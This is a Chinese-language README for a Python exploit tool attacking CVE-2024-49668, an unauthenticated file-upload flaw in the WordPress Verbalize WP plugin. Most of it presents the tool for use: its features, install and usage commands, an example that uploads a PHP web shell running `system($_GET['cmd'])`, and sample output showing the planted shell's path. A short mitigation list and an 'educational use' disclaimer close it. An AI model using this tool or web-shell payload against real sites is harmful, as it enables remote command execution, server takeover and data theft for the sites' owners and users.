🚨 CVE-2024-49668：WordPress Verbalize WP插件任意文件上传漏洞

📋 概述

CVE-2024-49668 是 WordPress Verbalize WP 插件 1.0 及以下版本中的一个严重漏洞。该漏洞允许未经身份验证的攻击者向 Web 服务器上传任意文件（包括 Web Shell）。问题源于文件上传过程中缺乏充分的输入验证和文件类型限制。

详情

• 发布时间： 2024-10-23
• 更新时间： 2024-10-23
• 标题： WordPress Verbalize WP 插件 <= 1.0 - 任意文件上传漏洞
• 描述： Admin Verbalize WP 中存在“危险类型文件无限制上传”漏洞，可向 Web 服务器上传 Web Shell。此漏洞影响 n/a 至 1.0 版本的 Verbalize WP。
• CWE： CWE-434：危险类型文件无限制上传
• CVSS 分数： 10.0（严重）
• 向量字符串： CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

🛠️ 利用脚本

本 Python 脚本利用 CVE-2024-49668 漏洞，通过 Verbalize WP 插件向目标 WordPress 站点上传 Shell 文件。

特性

• 自动化漏洞检测： 脚本通过检查 readme.txt 中的插件版本来验证目标站点是否存在漏洞。
• 文件上传： 向目标站点上传 PHP Shell 文件。
• 路径提取： 提取并显示已上传 Shell 文件的完整路径。

🧰 环境要求

• Python 3.x
• requests 库

使用 pip 安装所需库：

pip install requests

🚀 使用方法

usage: 
CVE-2024-49668.py [-h] -u URL [-s SHELL]

向 WordPress 站点发送 POST 请求。

options:
  -h, --help         显示帮助信息并退出
  -u, --url URL      目标 URL
  -s, --shell SHELL  要上传的 Shell 代码

示例

默认情况下，脚本会上传一个执行 phpinfo() 的 PHP Shell。

python CVE-2024-49668.py -u http://target.com

您也可以指定自定义的 PHP Shell 代码进行上传：

python CVE-2024-49668.py -u http://target.com -s "<?php system($_GET['cmd']); ?>"

📄 脚本输出

The site is vulnerable. Exploiting version: 1.0. Uploading file...
Shell path: /wp-content/uploads/audio-text/4091/audio-demo.php
Exploit By: Nxploit, Khaled ALenazi

📚 附加信息

漏洞影响

CVE-2024-49668 漏洞使攻击者能够通过上传恶意文件完全控制目标服务器。利用此漏洞可能导致数据泄露、未经授权访问以及网站被篡改等严重后果。

缓解最佳实践

为保护您的 WordPress 站点免受此漏洞的攻击，建议采取以下措施：

• 将 Verbalize WP 插件更新至修复该问题的最新版本。
• 实施强文件上传验证，限制文件类型和大小。
• 定期监控服务器日志，留意可疑活动。

法律免责声明

本工具仅用于教育目的。未经网站所有者明确许可，擅自使用此工具对网站进行攻击属于违法行为。作者不对因使用本工具造成的任何滥用或损害负责。

创建于 2025-03-22，由 Nxploited , Khaled alenazi 制作